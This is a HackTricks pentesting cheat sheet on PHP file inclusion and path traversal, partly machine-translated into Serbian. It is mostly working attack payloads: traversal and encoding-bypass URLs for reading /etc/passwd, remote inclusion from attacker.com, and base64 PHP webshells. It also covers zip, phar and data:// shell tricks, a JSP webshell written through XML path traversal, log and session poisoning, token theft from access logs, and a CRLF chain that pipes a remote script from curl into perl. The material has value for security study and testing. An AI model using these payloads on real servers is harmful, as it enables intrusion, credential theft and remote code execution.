File Inclusion/Path traversal
Reading time: 28 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
File Inclusion
Remote File Inclusion (RFI): Datoteka se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). In php ovo je po defaultu onemogućeno (allow_url_include).
Local File Inclusion (LFI): Server učitava lokalnu datoteku.
Ranljivost nastaje kada korisnik na neki način može kontrolisati koju će datoteku server učitati.
Ranjive PHP funkcije: require, require_once, include, include_once
Zanimljiv alat za eksploatisanje ove ranjivosti: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Kombinovao sam nekoliko *nix LFI lista i dodao više putanja; napravio sam ovu:
Pokušajte takođe da zamenite / sa \
Pokušajte такође да додате ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Spajanje različitih wordlists:
Pokušajte такоđe да zamenite / са \
Pokušajte такође да uklonite C:/ и додате ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Proverite LFI listu linux.
Osnovni LFI i bypasses
Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sekvence uklonjene nerekurzivno
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass dodavanja više karaktera na kraju prosleđenog niza (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ovo je rešeno od PHP 5.4
Kodiranje
Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Iz postojećeg direktorijuma
Možda back-end proverava putanju foldera:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Istraživanje direktorijuma fajl-sistema na serveru
Fajl-sistem servera može se rekurzivno istražiti kako bi se identifikovali direktorijumi, a ne samo fajlovi, koristeći određene tehnike. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih direktorijuma. Ispod sledi detaljna metoda za to:
- Odredite dubinu direktorijuma: Utvrdite dubinu vašeg trenutnog direktorijuma tako što ćete uspešno dohvatiti
/etc/passwdfajl (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturisan na sledeći način, što ukazuje na dubinu tri:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Provera direktorijuma: Dodajte ime sumnjivog direktorijuma (npr.
private) u URL, zatim se vratite na/etc/passwd. Dodatni nivo direktorijuma zahteva povećanje parametra depth za jedan:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Protumačite rezultate: Odgovor servera pokazuje da li direktorijum postoji:
- Greška / Nema izlaza: Direktorijum
privateverovatno ne postoji na navedenoj lokaciji. - Sadržaj
/etc/passwd: Prisustvo direktorijumaprivateje potvrđeno.
- Rekurzivno istraživanje: Pronađeni direktorijumi se mogu dalje ispitivati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload odgovarajuće. Na primer, da proverite da li /var/www/ sadrži direktorijum private (pretpostavljajući da je trenutni direktorijum na dubini 3), koristite:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobilaženjem određenih bezbednosnih mera koje dopisuju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon što je bezbednosna mera izmeni, i dalje pokazuje na željeni fajl.
U PHP-u, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- When the last 6 characters are
passwd, appending a/(making itpasswd/) doesn't change the targeted file. - Similarly, if
.phpis appended to a file path (likeshellcode.php), adding a/.at the end will not alter the file being accessed.
Sledeći primeri pokazuju kako iskoristiti path truncation za pristup /etc/passwd, čestoj meti zbog osetljivog sadržaja (informacije o korisničkim nalozima):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.
- Korišćenje dot segmenata i dodatnih karaktera: Traversal sekvence (
../) u kombinaciji sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajl-sistemom, efektivno ignorišući dodate stringove od strane servera. - Utvrđivanje potrebnog broja traversala: Metodom pokušaja i grešaka može se pronaći tačan broj
../sekvenci potrebnih da se dođe do root direktorijuma, a potom do/etc/passwd, pri čemu su svi dodati stringovi (kao.php) neutralisani, ali željeni put (/etc/passwd) ostaje netaknut. - Početak sa lažnim direktorijumom: Uobičajena praksa je da se put počne nepostojećim direktorijumom (na primer
a/). Ova tehnika se koristi kao preventivna mera ili da bi se ispunili zahtevi parsiranja putanje od strane servera.
Prilikom korišćenja tehnika za truncation putanja, ključno je razumeti ponašanje parsiranja putanja servera i strukturu fajl-sistema. Svaki scenarij može zahtevati drugačiji pristup, i često je potrebno testiranje da bi se našla najefikasnija metoda.
Ova ranjivost je ispravljena u PHP 5.3.
Trikovi za zaobilaženje filtera
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
U php-u je ovo onemogućeno podrazumevano jer je allow_url_include Off. Mora biti On da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Ako je iz nekog razloga allow_url_include On, ali PHP filtrira pristup eksternim web stranicama, prema ovom postu, možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i egt RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
U prethodnom kodu, završni +.txt je dodat zato što je attacker trebao string koji se završava sa .txt, pa se string završava tim i nakon b64 decode-a taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i samim tim izvršen).
Još jedan primer koji ne koristi php:// protokol bio bi:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python korenski element
U Python kodu kao u sledećem primeru:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Ako korisnik prosledi apsolutnu putanju parametru file_name, prethodna putanja se jednostavno uklanja:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Ovo je predviđeno ponašanje u skladu sa the docs:
Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne putanje.
Java Lista direktorijuma
Čini se da ako imate Path Traversal u Javi i zatražite direktorijum umesto fajla, biće vraćena lista direktorijuma. Ovo se, koliko ja znam (afaik), neće dešavati u drugim jezicima.
Top 25 parametara
Evo liste 25 parametara koji mogu biti ranjivi na local file inclusion (LFI) (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters dozvoljavaju izvođenje osnovnih operacija modifikacije nad podacima pre nego što se oni pročitaju ili upišu. Postoji 5 kategorija filtera:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Uklanja tagove iz podataka (sve između "<" i ">" karaktera)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transformiše u drugačiji encoding(convert.iconv.<input_enc>.<output_enc>). Da biste dobili listu svih enkodinga koje podržava, pokrenite u konzoli:iconv -l
warning
Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Kompresuje sadržaj (useful if exfiltrating a lot of info)zlib.inflate: Dekompresuje podatke- Encryption Filters
mcrypt.*: Zastarelomdecrypt.*: Zastarelo- Other Filters
- Pokretanjem u php
var_dump(stream_get_filters());možete naći par neočekivanih filtera: consumeddechunk: vraća (reverzuje) HTTP chunked kodiranjeconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Deo "php://filter" nije osetljiv na velika i mala slova
Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova
In this post predlaže tehniku za čitanje lokalnog fajla bez vraćanja output-a sa servera. Tehnika se zasniva na boolean exfiltration of the file (char by char) using php filters kao oracle. To je zato što php filters mogu da se iskoriste da tekst postane dovoljno veliki da php baci izuzetak.
U originalnom postu možete naći detaljno objašnjenje tehnike, ali ovde je kratak pregled:
- Use the codec
UCS-4LEto leave leading character of the text at the begging and make the size of string increases exponentially. - Ovo će se koristiti da se generiše tekst toliko veliki kada je početno slovo pogodjeno tačno da će php pokrenuti error.
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- Ovo, u kombinaciji sa prethodnim (i drugim filterima u zavisnosti od pogođenog slova), omogućava da pogodimo slovo na početku teksta posmatrajući kada dovoljan broj transformacija učini da ono prestane da bude heksadecimalni karakter. Ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php error.
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
afor example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE it is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain further data the idea is to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to dok ne dođete do željenog bita za leak.
U postu je takođe objavljen alat za automatsko izvođenje: php_filters_chain_oracle_exploit.
php://fd
Ovaj wrapper omogućava pristup file descriptors koje proces ima otvorene. Potencijalno koristan za exfiltrate sadržaja otvorenih fajlova:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Takođe možete koristiti php://stdin, php://stdout and php://stderr da pristupite file descriptors 0, 1 and 2 redom (nisam siguran kako bi ovo moglo biti korisno u napadu)
zip:// and rar://
Otpremite Zip ili Rar fajl sa PHPShell-om unutra i pristupite mu.
Da biste mogli zloupotrebiti rar protocol, mora biti posebno aktiviran.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Imajte na umu da je ovaj protokol ograničen php konfiguracijama allow_url_open i allow_url_include
expect://
Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Navedite svoj payload u POST parametrima:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar fajl se može iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput include za učitavanje fajlova. Donji PHP kod prikazuje kreiranje .phar fajla:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Da biste kompajlirali .phar fajl, treba izvršiti sledeću naredbu:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega, preko funkcija kao što su file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ili filesize(), može se pokušati eksploatisati deserialization ranjivost. Ova ranjivost je povezana sa čitanjem fajlova koristeći phar protokol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Vrlo kratak rezime: 3 byte overflow u PHP heap-u je zloupotrebljen da bi se alter the chain of free chunks određene veličine kako bi se moglo write anything in any address, pa je dodat hook koji poziva system.
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filtera.
Više protokola
Pogledajte više mogućih protocols to include here:
- php://memory and php://temp — Piše u memoriju ili u privremeni fajl (nije jasno kako bi ovo bilo korisno u a file inclusion attack)
- file:// — Pristup lokalnom fajl sistemu
- http:// — Pristup HTTP(s) URL-ovima
- ftp:// — Pristup FTP(s) URL-ovima
- zlib:// — Kompresioni streamovi
- glob:// — Pronalazi putanje koje odgovaraju obrascu (Ne vraća ništa štampivo, tako da nije zaista korisno ovde)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streamovi (Nije korisno za čitanje proizvoljnih fajlova)
LFI via PHP's 'assert'
Rizik od Local File Inclusion (LFI) u PHP-u je posebno visok kada se radi o 'assert' funkciji, koja može izvršavati kod unutar stringova. Ovo je naročito problematično ako se ulaz koji sadrži karaktere za directory traversal poput ".." proverava ali nije pravilno sanitizovan.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Iako je ovo namenjeno da spreči traversal, to nenamerno stvara vektor za code injection. Da bi se ovo iskoristilo za čitanje sadržaja fajla, napadač bi mogao da upotrebi:
' and die(highlight_file('/etc/passwd')) or '
Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
' and die(system("id")) or '
Važno je URL-encode these payloads.
PHP Blind Path Traversal
warning
Ova tehnika je relevantna u slučajevima gde vi kontrolišete putanju fajla koju koristi PHP function koja će pristupiti fajlu, ali nećete videti sadržaj fajla (kao jednostavan poziv file()) jer sadržaj nije prikazan.
U this incredible post je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da bi se exfiltrate the content of a file via an error oracle.
Kao rezime, tehnika koristi "UCS-4LE" encoding da bi sadržaj fajla bio toliko big da će PHP function opening fajl izazvati error.
Zatim, da bi se leak-ovao prvi char, koristi se filter dechunk zajedno sa drugim poput base64 ili rot13, i na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se place other chars at the beggining and leak them.
Funkcije koje bi mogle biti ranjive: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Za tehničke detalje pogledajte pomenuti post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Kada server-side kod koji prima/otprema fajlove gradi destinacionu putanju koristeći podatke kontrolisane od strane korisnika (npr. filename ili URL) bez canonicalising i validacije, .. segments i absolute paths mogu pobjeći iz predviđenog direktorijuma i prouzrokovati arbitrary file write. Ako možete postaviti payload u web-exposed direktorijum, obično dobijate unauthenticated RCE tako što ostavite webshell.
Tipičan tok eksploatacije:
- Identifikujte write primitive u endpoint-u ili background worker-u koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
- Odredite web-exposed direktorijume. Uobičajeni primeri:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Sastavite traversal path koji izlazi iz nameravanog storage direktorijuma u webroot, i ubacite sadržaj vašeg webshell-a.
- Otvorite ubaceni payload u pregledaču i izvršite komande.
Napomene:
- Usluga koja vrši upis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
- Na Java stack-ovima, ovi upisi fajlova su često implementirani prostom concatenation-om
File/Paths. Nedostatak canonicalisation/allow-listing je osnovna mana.
Generički XML/JMF-style primer (product schemas vary – the DOCTYPE/body wrapper je irelevantan za traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening koje onemogućava ovu klasu grešaka:
- Normalizujte put na kanonski path i osigurajte da je potomak osnovnog direktorijuma koji je na listi dozvoljenih.
- Odbacite svaku putanju koja sadrži
.., apsolutne putanje ili slova disk jedinica; preferirajte generisane nazive fajlova. - Pokrenite writer pod nalogom sa niskim privilegijama i odvojite direktorijume za upis od direktorijuma koji se serviraju.
Remote File Inclusion
Explained previously, follow this link.
Preko Apache/Nginx log fajla
Ako je Apache ili Nginx server vulnerable to LFI unutar include function, možete pokušati pristupiti /var/log/apache2/access.log or /var/log/nginx/access.log, upisati u user agent ili u GET parameter php shell kao <?php system($_GET['c']); ?> i uključiti taj fajl
warning
Imajte na umu da ako koristite double quotes za shell umesto simple quotes, dupla navodnika će biti izmenjena u string "quote;", PHP će baciti grešku i ništa drugo neće biti izvršeno.
Takođe, pobrinite se da ispravno napišete payload ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.
Ovo se može uraditi i u drugim logovima, ali budite oprezni, kod unutar logova može biti URL encoded i to može uništiti Shell. Header authorisation "basic" sadrži "user:password" u Base64 i to se dekodira u logovima. The PHPShell could be inserted inside this header.
Drugi mogući putevi do log fajlova:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Pročitajte access logove da sakupite GET-based auth tokens (token replay)
Mnoge aplikacije greškom prihvataju session/auth tokene preko GET (npr., AuthenticationToken, token, sid). Ako imate path traversal/LFI primitive do web server logova, možete ukrasti te tokene iz access logova i replay-ovati ih da potpuno zaobiđete autentifikaciju.
How-to:
- Iskoristite traversal/LFI da pročitate web server access log. Uobičajene lokacije:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Neki endpoints vraćaju file reads Base64-encoded. Ako je tako, dekodirajte lokalno i pregledajte log linije.
- Koristite grep za GET zahteve koji uključuju token parametar i zabeležite njegovu vrednost, zatim je replay-ujte na application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Dekodirajte telo ako je Base64, zatim replay a captured token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Napomene:
- Tokens in URLs se podrazumevano beleže; nikada ne prihvatajte bearer tokens preko GET u produkcionim sistemima.
- Ako aplikacija podržava više imena tokena, pretražite uobičajene ključeve kao što su AuthenticationToken, token, sid, access_token.
- Rotirajte sve tokens koji su možda leaked u logovima.
Putem e-pošte
Pošaljite mejl na interni nalog (user@localhost) koji sadrži vaš PHP payload kao <?php echo system($_REQUEST["cmd"]); ?> i pokušajte da include-ujete u mejl korisnika putanjom poput /var/mail/<USERNAME> ili /var/spool/mail/<USERNAME>
Putem /proc//fd/
- Upload-ujte mnogo shells (na primer: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, sa $PID = PID procesa (može biti brute forced) i $FD file descriptor (takođe može biti brute forced)
Putem /proc/self/environ
Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Putem upload-a
Ako možete uraditi upload fajla, samo ubacite shell payload u njega (npr: <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/doc/pdf
Putem upload-a ZIP fajla
Otpremite ZIP fajl koji sadrži kompresovan PHP shell i pristupite:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Putem PHP sessions
Proverite da li sajt koristi PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
U PHP-u ove sesije se čuvaju u /var/lib/php5/sess\[PHPSESSID]_ fajlovima
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Postavite cookie na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Iskoristite LFI da uključite PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Preko ssh
Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte pristupiti <HOME>/.ssh/id_rsa
Preko vsftpd logs
Logovi za FTP server vsftpd nalaze se u /var/log/vsftpd.log. Ako postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, mogu se razmotriti sledeći koraci:
- Injektujte PHP payload u username polje tokom login procesa.
- Nakon injekcije, iskoristite LFI da preuzmete server logove iz /var/log/vsftpd.log.
Putem php base64 filter (koristeći base64)
Kao što je prikazano u ovom članku, PHP base64 filter jednostavno ignoriše Non-base64. To možete iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payloada:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Putem php filters (nije potreban fajl)
This writeup objašnjava da možete koristiti php filters to generate arbitrary content kao izlaz. Što u suštini znači da možete generate arbitrary php code za include without needing to write to fajl.
Putem segmentation fault
Upload fajl koji će biti sačuvan kao temporary u /tmp, zatim u same request, izazovite segmentation fault, i onda će temporary file won't be deleted i možete ga pretražiti.
LFI2RCE via Segmentation Fault
Putem Nginx temp file storage
Ako pronađete Local File Inclusion i Nginx radi ispred PHP-a, možda ćete moći dobiti RCE sledećom tehnikom:
Putem PHP_SESSION_UPLOAD_PROGRESS
Ako pronađete Local File Inclusion čak i ako don't have a session i session.auto_start je Off. Ako u multipart POST podacima navedete PHP_SESSION_UPLOAD_PROGRESS, PHP će enable the session for you. Ovo možete iskoristiti da dobijete RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Putem temp file uploads u Windows
Ako pronađete Local File Inclusion i server radi na Windows, možda možete dobiti RCE:
Putem pearcmd.php + URL args
As explained in this post, skripta /usr/local/lib/phppearcmd.php postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a zato što je naznačeno da ako URL param nema =, treba ga koristiti kao argument. Pogledajte i watchTowr’s write-up i Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Sledeće iskorišćava CRLF vuln da dobije RCE (iz here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Ako pronađete Local File Inclusion i fajl koji izlaže phpinfo() sa file_uploads = on, možete dobiti RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Ako pronađete Local File Inclusion i možete exfiltrate the path privremenog fajla, ALI server proverava da li fajl koji će biti uključen ima PHP marks, možete pokušati da bypass that check koristeći ovu Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Ako možete zloupotrebiti LFI da upload temporary files i naterate server da hang PHP izvršavanje, možete potom brute force filenames during hours da pronađete privremeni fajl:
Ka Fatal Error
Ako uključite bilo koji od fajlova /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku).
Ne znam koliko je ovo korisno, ali možda jeste.
Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su upload-ovani bivaju obrisani.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
